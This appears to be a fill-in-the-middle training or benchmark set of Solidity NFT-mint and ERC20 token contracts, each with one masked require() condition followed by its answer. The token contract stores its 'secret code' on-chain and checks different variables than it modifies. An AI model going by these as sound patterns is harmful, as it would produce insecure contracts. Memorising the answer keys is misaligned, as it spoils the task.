// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "erc721a/contracts/ERC721A.sol"; contract Yuzi is ERC721A, Ownable, ReentrancyGuard { using ECDSA for bytes32; uint256 public maxSupply= 10000; uint256 public constant MAX_SUPPLY_PER_WALLET= 20; uint256 private constant TEAM_SUPPLY= 50; uint256 public salePriceETH = 0.005 ether; bool public isActive = false; bool public publicSaleActive = false; mapping(address => uint256) public quantityPerWallet; string private baseTokenURI = "ipfs://QmaQt2jbCjzcZPPV2QBwftorzawYuR6vrL7X5GBikJxwM6/"; constructor( string memory newBaseURI ) ERC721A("Yuzi", "Yuzi") { } modifier onlyEOA() { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI) external onlyOwner { } function setPrice(uint256 _PriceInWEI) external onlyOwner { } // Toggle activate/desactivate the smart contract function toggleActive() external onlyOwner { } // Set public sale active / deactive function setPublicSaleActive(bool active) external onlyOwner { } // Mint on Public Sale using ETH function publicSaleMint(uint256 _quantity)external payable onlyEOA { require(isActive, "Contract not Active"); require(publicSaleActive, "Sale not Active"); require(_quantity != 0, "0 Quantity"); require(totalSupply() + _quantity <= maxSupply, "Over Max Supply"); require(<FILL_ME>) uint256 payForCount = _quantity; uint256 freeMintCount = quantityPerWallet[msg.sender]; if (freeMintCount < 1) { if (_quantity > 1) { payForCount = _quantity - 1; } else { payForCount = 0; } } require(msg.value >= payForCount * salePriceETH, "Insufficient ETH"); quantityPerWallet[msg.sender] += _quantity; _mint(msg.sender, _quantity); } function freeMintedCount(address owner) external view returns (uint256) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } // Team mint function teamMint() external onlyOwner { } // Withdraw ETH function withdrawETH() external onlyOwner { } }
quantityPerWallet[msg.sender]+_quantity<=MAX_SUPPLY_PER_WALLET,"Over Max Supply Per Wallet"
99,254
quantityPerWallet[msg.sender]+_quantity<=MAX_SUPPLY_PER_WALLET
"TeamMint: Over Max Supply"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "erc721a/contracts/ERC721A.sol"; contract Yuzi is ERC721A, Ownable, ReentrancyGuard { using ECDSA for bytes32; uint256 public maxSupply= 10000; uint256 public constant MAX_SUPPLY_PER_WALLET= 20; uint256 private constant TEAM_SUPPLY= 50; uint256 public salePriceETH = 0.005 ether; bool public isActive = false; bool public publicSaleActive = false; mapping(address => uint256) public quantityPerWallet; string private baseTokenURI = "ipfs://QmaQt2jbCjzcZPPV2QBwftorzawYuR6vrL7X5GBikJxwM6/"; constructor( string memory newBaseURI ) ERC721A("Yuzi", "Yuzi") { } modifier onlyEOA() { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI) external onlyOwner { } function setPrice(uint256 _PriceInWEI) external onlyOwner { } // Toggle activate/desactivate the smart contract function toggleActive() external onlyOwner { } // Set public sale active / deactive function setPublicSaleActive(bool active) external onlyOwner { } // Mint on Public Sale using ETH function publicSaleMint(uint256 _quantity)external payable onlyEOA { } function freeMintedCount(address owner) external view returns (uint256) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } // Team mint function teamMint() external onlyOwner { require(<FILL_ME>) uint256 maxBatchSize = 10; for (uint256 i; i < 5; i++) { _mint(msg.sender, maxBatchSize); } uint256 remaining = TEAM_SUPPLY % maxBatchSize; if (remaining > 0) { _mint(msg.sender, remaining); } } // Withdraw ETH function withdrawETH() external onlyOwner { } }
totalSupply()+TEAM_SUPPLY<=maxSupply,"TeamMint: Over Max Supply"
99,254
totalSupply()+TEAM_SUPPLY<=maxSupply
"Not an admin"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./libs/Admin.sol"; import "./libs/Security.sol"; import "./libs/Utils.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract PhilanthropyToken is ERC20, Ownable { using Admin for *; using Security for *; using Utils for *; uint256 public constant MAX_TOTAL_SUPPLY = 500 * 10 ** 6 * 10 ** 18; // Maximum total supply of 500 million tokens uint256 public constant MARKET_CAP = 10 * 10 ** 6 * 10 ** 18; // Default market cap of 10 million tokens uint256 public INVESTOR_ALLOCATION = 4 * 10 ** 6 * 10 ** 18; // 4 million tokens for investors uint256 public constant GENERAL_PUBLIC_ALLOCATION = 5 * 10 ** 6 * 10 ** 18; // 5 million tokens for the general public uint256 public CHARITY_ALLOCATION = 4 * 10 ** 6 * 10 ** 18; // 4 million tokens for charities uint256 public constant PRESALE_ALLOCATION = 5 * 10 ** 6 * 10 ** 18; // 5 million tokens for the presale uint256 public PRESALE_TOTAL_SOLD = 0; // the presale uint256 public constant INVESTOR_LOCK_PERIOD = 730 days; // 2 years Lock-up period for investors uint256 public constant PRESALE_LOCK_PERIOD = 365 days; // 1 year Lock-up period for presale uint256 public TOTAL_INITIAL_RELEASED = 0; uint256 public TOTAL_INVESTOR_CLAIMED = 0; uint256 public constant PRESALE_PRICE = 50 * 10 ** 15; // $0.50 in wei uint256 public constant TRANSACTION_THRESHOLD = 1 * 10 ** 6 * 10 ** 18; // 1m Transaction threshold for requiring a secret code uint256 public constant MIN_BALANCE_TO_INCREASE_SUPPLY = 2 * 10 ** 18; // 2 is min balance uint256 public presaleStartTime; // Mapping to track buyer purchase timestamps mapping(address => uint256) public lastPurchaseTimestamp; string private secretCode; mapping(address => bool) private admins; /** * Only admin modifier */ modifier onlyAdmin() { require(<FILL_ME>) _; } /** * constructor */ constructor() ERC20("PhilanthropyToken", "PTPH") { } // Function to add or remove admins function setAdmin(address _admin, bool _status) external onlyAdmin { } /** * Function to increase the market cap * @param amount uint256 */ function mint(uint256 amount) external onlyAdmin { } /** * Function to allow users to buy presale tokens * @param amount uint256 */ function buyPresaleTokens(uint256 amount) external payable { } /** * Function to distribute CHARITY_ALLOCATION to multiple addresses * @param recipients string<addresses> * @param amounts uint256 */ function initialRelease( address[] memory recipients, uint256[] memory amounts ) external onlyAdmin { } /** * Function to distribute INVESTOR_ALLOCATION to multiple investors * @param investors address * @param amounts uint256 */ function claimInvestorTokens( address[] memory investors, uint256[] memory amounts ) external onlyAdmin { } // Function to set a secret code for transactions above the threshold function setSecretCode(string memory code) external onlyAdmin { } /** * check secret code * @param code uint256 */ function checkSecretCode(string memory code) public view onlyOwner { } // Function to perform a transaction above the threshold with the correct secret code function transfer( address recipient, uint256 amount, string memory code ) external onlyAdmin { } function transferFrom( address recipient, uint256 amount, string memory code ) external { } /** * Function to automatically mint if the balance is below a certain threshold */ function mintWhenNeedded() external onlyAdmin { } // Custom burn function function burn(uint256 amount) public onlyAdmin { } /** * Function to show available supply (minted balance) value * @return uint256 */ function getUnsudedSupplies() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INITIAL_RELEASED value * @return uint256 */ function getTotalIInvestorAllocation() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INVESTOR_CLAIMED value * @return uint256 */ function getTotalInitialAllocation() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INITIAL_RELEASED value * @return uint256 */ function getTotalInitialReleased() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INVESTOR_CLAIMED value * @return uint256 */ function getTotalInvestorClaimed() external view onlyAdmin returns (uint256) { } /** * Function to transfer tokens between TOTAL_INITIAL_RELEASED and TOTAL_INVESTOR_CLAIMED * @param amount uint256 * @param fromInitialToInvestor boolean */ function transferBetweenCategories( uint256 amount, bool fromInitialToInvestor ) external onlyAdmin { } /** * Function to transfer tokens between TOTAL_INITIAL_RELEASED and TOTAL_INVESTOR_CLAIMED * @param amount uint256 * @param fromInitialToInvestor boolean */ function topupCategories( uint256 amount, bool fromInitialToInvestor ) external onlyAdmin { } // Function to perform a transaction above the threshold with an optional secret code function transferWithSecretCode( address recipient, uint256 amount, string memory code ) external { } /** * Function to top up CHARITY_ALLOCATION from the contract's available balance * @param amount uint256 */ function topUpCharityAllocation(uint256 amount) external onlyAdmin { } /** * Function to top up INVESTOR_ALLOCATION from the contract's available balance * @param amount uint256 */ function topUpInvestorAllocation(uint256 amount) external onlyAdmin { } }
admins[msg.sender]||msg.sender==owner(),"Not an admin"
99,413
admins[msg.sender]||msg.sender==owner()
"Exceeds maximum total supply"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./libs/Admin.sol"; import "./libs/Security.sol"; import "./libs/Utils.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract PhilanthropyToken is ERC20, Ownable { using Admin for *; using Security for *; using Utils for *; uint256 public constant MAX_TOTAL_SUPPLY = 500 * 10 ** 6 * 10 ** 18; // Maximum total supply of 500 million tokens uint256 public constant MARKET_CAP = 10 * 10 ** 6 * 10 ** 18; // Default market cap of 10 million tokens uint256 public INVESTOR_ALLOCATION = 4 * 10 ** 6 * 10 ** 18; // 4 million tokens for investors uint256 public constant GENERAL_PUBLIC_ALLOCATION = 5 * 10 ** 6 * 10 ** 18; // 5 million tokens for the general public uint256 public CHARITY_ALLOCATION = 4 * 10 ** 6 * 10 ** 18; // 4 million tokens for charities uint256 public constant PRESALE_ALLOCATION = 5 * 10 ** 6 * 10 ** 18; // 5 million tokens for the presale uint256 public PRESALE_TOTAL_SOLD = 0; // the presale uint256 public constant INVESTOR_LOCK_PERIOD = 730 days; // 2 years Lock-up period for investors uint256 public constant PRESALE_LOCK_PERIOD = 365 days; // 1 year Lock-up period for presale uint256 public TOTAL_INITIAL_RELEASED = 0; uint256 public TOTAL_INVESTOR_CLAIMED = 0; uint256 public constant PRESALE_PRICE = 50 * 10 ** 15; // $0.50 in wei uint256 public constant TRANSACTION_THRESHOLD = 1 * 10 ** 6 * 10 ** 18; // 1m Transaction threshold for requiring a secret code uint256 public constant MIN_BALANCE_TO_INCREASE_SUPPLY = 2 * 10 ** 18; // 2 is min balance uint256 public presaleStartTime; // Mapping to track buyer purchase timestamps mapping(address => uint256) public lastPurchaseTimestamp; string private secretCode; mapping(address => bool) private admins; /** * Only admin modifier */ modifier onlyAdmin() { } /** * constructor */ constructor() ERC20("PhilanthropyToken", "PTPH") { } // Function to add or remove admins function setAdmin(address _admin, bool _status) external onlyAdmin { } /** * Function to increase the market cap * @param amount uint256 */ function mint(uint256 amount) external onlyAdmin { uint256 currentSupply = totalSupply(); require(<FILL_ME>) _mint(address(this), amount); } /** * Function to allow users to buy presale tokens * @param amount uint256 */ function buyPresaleTokens(uint256 amount) external payable { } /** * Function to distribute CHARITY_ALLOCATION to multiple addresses * @param recipients string<addresses> * @param amounts uint256 */ function initialRelease( address[] memory recipients, uint256[] memory amounts ) external onlyAdmin { } /** * Function to distribute INVESTOR_ALLOCATION to multiple investors * @param investors address * @param amounts uint256 */ function claimInvestorTokens( address[] memory investors, uint256[] memory amounts ) external onlyAdmin { } // Function to set a secret code for transactions above the threshold function setSecretCode(string memory code) external onlyAdmin { } /** * check secret code * @param code uint256 */ function checkSecretCode(string memory code) public view onlyOwner { } // Function to perform a transaction above the threshold with the correct secret code function transfer( address recipient, uint256 amount, string memory code ) external onlyAdmin { } function transferFrom( address recipient, uint256 amount, string memory code ) external { } /** * Function to automatically mint if the balance is below a certain threshold */ function mintWhenNeedded() external onlyAdmin { } // Custom burn function function burn(uint256 amount) public onlyAdmin { } /** * Function to show available supply (minted balance) value * @return uint256 */ function getUnsudedSupplies() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INITIAL_RELEASED value * @return uint256 */ function getTotalIInvestorAllocation() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INVESTOR_CLAIMED value * @return uint256 */ function getTotalInitialAllocation() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INITIAL_RELEASED value * @return uint256 */ function getTotalInitialReleased() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INVESTOR_CLAIMED value * @return uint256 */ function getTotalInvestorClaimed() external view onlyAdmin returns (uint256) { } /** * Function to transfer tokens between TOTAL_INITIAL_RELEASED and TOTAL_INVESTOR_CLAIMED * @param amount uint256 * @param fromInitialToInvestor boolean */ function transferBetweenCategories( uint256 amount, bool fromInitialToInvestor ) external onlyAdmin { } /** * Function to transfer tokens between TOTAL_INITIAL_RELEASED and TOTAL_INVESTOR_CLAIMED * @param amount uint256 * @param fromInitialToInvestor boolean */ function topupCategories( uint256 amount, bool fromInitialToInvestor ) external onlyAdmin { } // Function to perform a transaction above the threshold with an optional secret code function transferWithSecretCode( address recipient, uint256 amount, string memory code ) external { } /** * Function to top up CHARITY_ALLOCATION from the contract's available balance * @param amount uint256 */ function topUpCharityAllocation(uint256 amount) external onlyAdmin { } /** * Function to top up INVESTOR_ALLOCATION from the contract's available balance * @param amount uint256 */ function topUpInvestorAllocation(uint256 amount) external onlyAdmin { } }
currentSupply+amount<=MAX_TOTAL_SUPPLY,"Exceeds maximum total supply"
99,413
currentSupply+amount<=MAX_TOTAL_SUPPLY
"Incorrect secret code"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./libs/Admin.sol"; import "./libs/Security.sol"; import "./libs/Utils.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract PhilanthropyToken is ERC20, Ownable { using Admin for *; using Security for *; using Utils for *; uint256 public constant MAX_TOTAL_SUPPLY = 500 * 10 ** 6 * 10 ** 18; // Maximum total supply of 500 million tokens uint256 public constant MARKET_CAP = 10 * 10 ** 6 * 10 ** 18; // Default market cap of 10 million tokens uint256 public INVESTOR_ALLOCATION = 4 * 10 ** 6 * 10 ** 18; // 4 million tokens for investors uint256 public constant GENERAL_PUBLIC_ALLOCATION = 5 * 10 ** 6 * 10 ** 18; // 5 million tokens for the general public uint256 public CHARITY_ALLOCATION = 4 * 10 ** 6 * 10 ** 18; // 4 million tokens for charities uint256 public constant PRESALE_ALLOCATION = 5 * 10 ** 6 * 10 ** 18; // 5 million tokens for the presale uint256 public PRESALE_TOTAL_SOLD = 0; // the presale uint256 public constant INVESTOR_LOCK_PERIOD = 730 days; // 2 years Lock-up period for investors uint256 public constant PRESALE_LOCK_PERIOD = 365 days; // 1 year Lock-up period for presale uint256 public TOTAL_INITIAL_RELEASED = 0; uint256 public TOTAL_INVESTOR_CLAIMED = 0; uint256 public constant PRESALE_PRICE = 50 * 10 ** 15; // $0.50 in wei uint256 public constant TRANSACTION_THRESHOLD = 1 * 10 ** 6 * 10 ** 18; // 1m Transaction threshold for requiring a secret code uint256 public constant MIN_BALANCE_TO_INCREASE_SUPPLY = 2 * 10 ** 18; // 2 is min balance uint256 public presaleStartTime; // Mapping to track buyer purchase timestamps mapping(address => uint256) public lastPurchaseTimestamp; string private secretCode; mapping(address => bool) private admins; /** * Only admin modifier */ modifier onlyAdmin() { } /** * constructor */ constructor() ERC20("PhilanthropyToken", "PTPH") { } // Function to add or remove admins function setAdmin(address _admin, bool _status) external onlyAdmin { } /** * Function to increase the market cap * @param amount uint256 */ function mint(uint256 amount) external onlyAdmin { } /** * Function to allow users to buy presale tokens * @param amount uint256 */ function buyPresaleTokens(uint256 amount) external payable { } /** * Function to distribute CHARITY_ALLOCATION to multiple addresses * @param recipients string<addresses> * @param amounts uint256 */ function initialRelease( address[] memory recipients, uint256[] memory amounts ) external onlyAdmin { } /** * Function to distribute INVESTOR_ALLOCATION to multiple investors * @param investors address * @param amounts uint256 */ function claimInvestorTokens( address[] memory investors, uint256[] memory amounts ) external onlyAdmin { } // Function to set a secret code for transactions above the threshold function setSecretCode(string memory code) external onlyAdmin { } /** * check secret code * @param code uint256 */ function checkSecretCode(string memory code) public view onlyOwner { require(<FILL_ME>) } // Function to perform a transaction above the threshold with the correct secret code function transfer( address recipient, uint256 amount, string memory code ) external onlyAdmin { } function transferFrom( address recipient, uint256 amount, string memory code ) external { } /** * Function to automatically mint if the balance is below a certain threshold */ function mintWhenNeedded() external onlyAdmin { } // Custom burn function function burn(uint256 amount) public onlyAdmin { } /** * Function to show available supply (minted balance) value * @return uint256 */ function getUnsudedSupplies() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INITIAL_RELEASED value * @return uint256 */ function getTotalIInvestorAllocation() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INVESTOR_CLAIMED value * @return uint256 */ function getTotalInitialAllocation() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INITIAL_RELEASED value * @return uint256 */ function getTotalInitialReleased() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INVESTOR_CLAIMED value * @return uint256 */ function getTotalInvestorClaimed() external view onlyAdmin returns (uint256) { } /** * Function to transfer tokens between TOTAL_INITIAL_RELEASED and TOTAL_INVESTOR_CLAIMED * @param amount uint256 * @param fromInitialToInvestor boolean */ function transferBetweenCategories( uint256 amount, bool fromInitialToInvestor ) external onlyAdmin { } /** * Function to transfer tokens between TOTAL_INITIAL_RELEASED and TOTAL_INVESTOR_CLAIMED * @param amount uint256 * @param fromInitialToInvestor boolean */ function topupCategories( uint256 amount, bool fromInitialToInvestor ) external onlyAdmin { } // Function to perform a transaction above the threshold with an optional secret code function transferWithSecretCode( address recipient, uint256 amount, string memory code ) external { } /** * Function to top up CHARITY_ALLOCATION from the contract's available balance * @param amount uint256 */ function topUpCharityAllocation(uint256 amount) external onlyAdmin { } /** * Function to top up INVESTOR_ALLOCATION from the contract's available balance * @param amount uint256 */ function topUpInvestorAllocation(uint256 amount) external onlyAdmin { } }
keccak256(abi.encodePacked(code))==keccak256(abi.encodePacked(secretCode)),"Incorrect secret code"
99,413
keccak256(abi.encodePacked(code))==keccak256(abi.encodePacked(secretCode))
"Insufficient tokens in INITIAL_RELEASED"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./libs/Admin.sol"; import "./libs/Security.sol"; import "./libs/Utils.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract PhilanthropyToken is ERC20, Ownable { using Admin for *; using Security for *; using Utils for *; uint256 public constant MAX_TOTAL_SUPPLY = 500 * 10 ** 6 * 10 ** 18; // Maximum total supply of 500 million tokens uint256 public constant MARKET_CAP = 10 * 10 ** 6 * 10 ** 18; // Default market cap of 10 million tokens uint256 public INVESTOR_ALLOCATION = 4 * 10 ** 6 * 10 ** 18; // 4 million tokens for investors uint256 public constant GENERAL_PUBLIC_ALLOCATION = 5 * 10 ** 6 * 10 ** 18; // 5 million tokens for the general public uint256 public CHARITY_ALLOCATION = 4 * 10 ** 6 * 10 ** 18; // 4 million tokens for charities uint256 public constant PRESALE_ALLOCATION = 5 * 10 ** 6 * 10 ** 18; // 5 million tokens for the presale uint256 public PRESALE_TOTAL_SOLD = 0; // the presale uint256 public constant INVESTOR_LOCK_PERIOD = 730 days; // 2 years Lock-up period for investors uint256 public constant PRESALE_LOCK_PERIOD = 365 days; // 1 year Lock-up period for presale uint256 public TOTAL_INITIAL_RELEASED = 0; uint256 public TOTAL_INVESTOR_CLAIMED = 0; uint256 public constant PRESALE_PRICE = 50 * 10 ** 15; // $0.50 in wei uint256 public constant TRANSACTION_THRESHOLD = 1 * 10 ** 6 * 10 ** 18; // 1m Transaction threshold for requiring a secret code uint256 public constant MIN_BALANCE_TO_INCREASE_SUPPLY = 2 * 10 ** 18; // 2 is min balance uint256 public presaleStartTime; // Mapping to track buyer purchase timestamps mapping(address => uint256) public lastPurchaseTimestamp; string private secretCode; mapping(address => bool) private admins; /** * Only admin modifier */ modifier onlyAdmin() { } /** * constructor */ constructor() ERC20("PhilanthropyToken", "PTPH") { } // Function to add or remove admins function setAdmin(address _admin, bool _status) external onlyAdmin { } /** * Function to increase the market cap * @param amount uint256 */ function mint(uint256 amount) external onlyAdmin { } /** * Function to allow users to buy presale tokens * @param amount uint256 */ function buyPresaleTokens(uint256 amount) external payable { } /** * Function to distribute CHARITY_ALLOCATION to multiple addresses * @param recipients string<addresses> * @param amounts uint256 */ function initialRelease( address[] memory recipients, uint256[] memory amounts ) external onlyAdmin { } /** * Function to distribute INVESTOR_ALLOCATION to multiple investors * @param investors address * @param amounts uint256 */ function claimInvestorTokens( address[] memory investors, uint256[] memory amounts ) external onlyAdmin { } // Function to set a secret code for transactions above the threshold function setSecretCode(string memory code) external onlyAdmin { } /** * check secret code * @param code uint256 */ function checkSecretCode(string memory code) public view onlyOwner { } // Function to perform a transaction above the threshold with the correct secret code function transfer( address recipient, uint256 amount, string memory code ) external onlyAdmin { } function transferFrom( address recipient, uint256 amount, string memory code ) external { } /** * Function to automatically mint if the balance is below a certain threshold */ function mintWhenNeedded() external onlyAdmin { } // Custom burn function function burn(uint256 amount) public onlyAdmin { } /** * Function to show available supply (minted balance) value * @return uint256 */ function getUnsudedSupplies() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INITIAL_RELEASED value * @return uint256 */ function getTotalIInvestorAllocation() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INVESTOR_CLAIMED value * @return uint256 */ function getTotalInitialAllocation() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INITIAL_RELEASED value * @return uint256 */ function getTotalInitialReleased() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INVESTOR_CLAIMED value * @return uint256 */ function getTotalInvestorClaimed() external view onlyAdmin returns (uint256) { } /** * Function to transfer tokens between TOTAL_INITIAL_RELEASED and TOTAL_INVESTOR_CLAIMED * @param amount uint256 * @param fromInitialToInvestor boolean */ function transferBetweenCategories( uint256 amount, bool fromInitialToInvestor ) external onlyAdmin { require(<FILL_ME>) require( !fromInitialToInvestor || TOTAL_INVESTOR_CLAIMED >= amount, "Insufficient tokens in INVESTOR_CLAIMED" ); if (fromInitialToInvestor) { CHARITY_ALLOCATION -= amount; INVESTOR_ALLOCATION += amount; } else { INVESTOR_ALLOCATION -= amount; CHARITY_ALLOCATION += amount; } _transfer(address(this), msg.sender, amount); } /** * Function to transfer tokens between TOTAL_INITIAL_RELEASED and TOTAL_INVESTOR_CLAIMED * @param amount uint256 * @param fromInitialToInvestor boolean */ function topupCategories( uint256 amount, bool fromInitialToInvestor ) external onlyAdmin { } // Function to perform a transaction above the threshold with an optional secret code function transferWithSecretCode( address recipient, uint256 amount, string memory code ) external { } /** * Function to top up CHARITY_ALLOCATION from the contract's available balance * @param amount uint256 */ function topUpCharityAllocation(uint256 amount) external onlyAdmin { } /** * Function to top up INVESTOR_ALLOCATION from the contract's available balance * @param amount uint256 */ function topUpInvestorAllocation(uint256 amount) external onlyAdmin { } }
fromInitialToInvestor||TOTAL_INITIAL_RELEASED>=amount,"Insufficient tokens in INITIAL_RELEASED"
99,413
fromInitialToInvestor||TOTAL_INITIAL_RELEASED>=amount
"Insufficient tokens in INVESTOR_CLAIMED"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./libs/Admin.sol"; import "./libs/Security.sol"; import "./libs/Utils.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract PhilanthropyToken is ERC20, Ownable { using Admin for *; using Security for *; using Utils for *; uint256 public constant MAX_TOTAL_SUPPLY = 500 * 10 ** 6 * 10 ** 18; // Maximum total supply of 500 million tokens uint256 public constant MARKET_CAP = 10 * 10 ** 6 * 10 ** 18; // Default market cap of 10 million tokens uint256 public INVESTOR_ALLOCATION = 4 * 10 ** 6 * 10 ** 18; // 4 million tokens for investors uint256 public constant GENERAL_PUBLIC_ALLOCATION = 5 * 10 ** 6 * 10 ** 18; // 5 million tokens for the general public uint256 public CHARITY_ALLOCATION = 4 * 10 ** 6 * 10 ** 18; // 4 million tokens for charities uint256 public constant PRESALE_ALLOCATION = 5 * 10 ** 6 * 10 ** 18; // 5 million tokens for the presale uint256 public PRESALE_TOTAL_SOLD = 0; // the presale uint256 public constant INVESTOR_LOCK_PERIOD = 730 days; // 2 years Lock-up period for investors uint256 public constant PRESALE_LOCK_PERIOD = 365 days; // 1 year Lock-up period for presale uint256 public TOTAL_INITIAL_RELEASED = 0; uint256 public TOTAL_INVESTOR_CLAIMED = 0; uint256 public constant PRESALE_PRICE = 50 * 10 ** 15; // $0.50 in wei uint256 public constant TRANSACTION_THRESHOLD = 1 * 10 ** 6 * 10 ** 18; // 1m Transaction threshold for requiring a secret code uint256 public constant MIN_BALANCE_TO_INCREASE_SUPPLY = 2 * 10 ** 18; // 2 is min balance uint256 public presaleStartTime; // Mapping to track buyer purchase timestamps mapping(address => uint256) public lastPurchaseTimestamp; string private secretCode; mapping(address => bool) private admins; /** * Only admin modifier */ modifier onlyAdmin() { } /** * constructor */ constructor() ERC20("PhilanthropyToken", "PTPH") { } // Function to add or remove admins function setAdmin(address _admin, bool _status) external onlyAdmin { } /** * Function to increase the market cap * @param amount uint256 */ function mint(uint256 amount) external onlyAdmin { } /** * Function to allow users to buy presale tokens * @param amount uint256 */ function buyPresaleTokens(uint256 amount) external payable { } /** * Function to distribute CHARITY_ALLOCATION to multiple addresses * @param recipients string<addresses> * @param amounts uint256 */ function initialRelease( address[] memory recipients, uint256[] memory amounts ) external onlyAdmin { } /** * Function to distribute INVESTOR_ALLOCATION to multiple investors * @param investors address * @param amounts uint256 */ function claimInvestorTokens( address[] memory investors, uint256[] memory amounts ) external onlyAdmin { } // Function to set a secret code for transactions above the threshold function setSecretCode(string memory code) external onlyAdmin { } /** * check secret code * @param code uint256 */ function checkSecretCode(string memory code) public view onlyOwner { } // Function to perform a transaction above the threshold with the correct secret code function transfer( address recipient, uint256 amount, string memory code ) external onlyAdmin { } function transferFrom( address recipient, uint256 amount, string memory code ) external { } /** * Function to automatically mint if the balance is below a certain threshold */ function mintWhenNeedded() external onlyAdmin { } // Custom burn function function burn(uint256 amount) public onlyAdmin { } /** * Function to show available supply (minted balance) value * @return uint256 */ function getUnsudedSupplies() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INITIAL_RELEASED value * @return uint256 */ function getTotalIInvestorAllocation() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INVESTOR_CLAIMED value * @return uint256 */ function getTotalInitialAllocation() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INITIAL_RELEASED value * @return uint256 */ function getTotalInitialReleased() external view onlyAdmin returns (uint256) { } /** * Function to show TOTAL_INVESTOR_CLAIMED value * @return uint256 */ function getTotalInvestorClaimed() external view onlyAdmin returns (uint256) { } /** * Function to transfer tokens between TOTAL_INITIAL_RELEASED and TOTAL_INVESTOR_CLAIMED * @param amount uint256 * @param fromInitialToInvestor boolean */ function transferBetweenCategories( uint256 amount, bool fromInitialToInvestor ) external onlyAdmin { require( fromInitialToInvestor || TOTAL_INITIAL_RELEASED >= amount, "Insufficient tokens in INITIAL_RELEASED" ); require(<FILL_ME>) if (fromInitialToInvestor) { CHARITY_ALLOCATION -= amount; INVESTOR_ALLOCATION += amount; } else { INVESTOR_ALLOCATION -= amount; CHARITY_ALLOCATION += amount; } _transfer(address(this), msg.sender, amount); } /** * Function to transfer tokens between TOTAL_INITIAL_RELEASED and TOTAL_INVESTOR_CLAIMED * @param amount uint256 * @param fromInitialToInvestor boolean */ function topupCategories( uint256 amount, bool fromInitialToInvestor ) external onlyAdmin { } // Function to perform a transaction above the threshold with an optional secret code function transferWithSecretCode( address recipient, uint256 amount, string memory code ) external { } /** * Function to top up CHARITY_ALLOCATION from the contract's available balance * @param amount uint256 */ function topUpCharityAllocation(uint256 amount) external onlyAdmin { } /** * Function to top up INVESTOR_ALLOCATION from the contract's available balance * @param amount uint256 */ function topUpInvestorAllocation(uint256 amount) external onlyAdmin { } }
!fromInitialToInvestor||TOTAL_INVESTOR_CLAIMED>=amount,"Insufficient tokens in INVESTOR_CLAIMED"
99,413
!fromInitialToInvestor||TOTAL_INVESTOR_CLAIMED>=amount
"Insufficient tokens in INITIAL_RELEASED"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./libs/Admin.sol"; import "./libs/Security.sol"; import "./libs/Utils.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract PhilanthropyToken is ERC20, Ownable { using Admin for *; using Security for *; using Utils for *; uint256 public constant MAX_TOTAL_SUPPLY = 500 * 10 ** 6 * 10 ** 18; // Maximum total supply of 500 million tokens uint256 public constant MARKET_CAP = 10 * 10 ** 6 * 10 ** 18; // Default market cap of 10 million tokens uint256 public INVESTOR_ALLOCATION = 4 * 10 ** 6 * 10 ** 18; // 4 million tokens for investors uint256 public constant GENERAL_PUBLIC_ALLOCATION = 5 * 10 ** 6 * 10 ** 18; // 5 million tokens for the general public uint256 public CHARITY_ALLOCATION = 4 * 10 ** 6 * 10 ** 18; // 4 million tokens for charities uint256 public constant PRESALE_ALLOCATION = 5 * 10 ** 6 * 10 ** 18; // 5 million tokens for the presale uint256 public PRESALE_TOTAL_SOLD = 0; // the presale uint256 public constant INVESTOR_LOCK_PERIOD = 730 days; // 2 years Lock-up period for investors uint256 public constant PRESALE_LOCK_PERIOD = 365 days; // 1 year Lock-up period for presale uint256 public TOTAL_INITIAL_RELEASED = 0; uint256 public TOTAL_INVESTOR_CLAIMED = 0; uint256 public constant PRESALE_PRICE = 50 * 10 ** 15; // $0.50 in wei uint256 public constant TRANSACTION_THRESHOLD = 1 * 10 ** 6 * 10 ** 18; // 1m Transaction threshold for requiring a secret code uint256 public constant 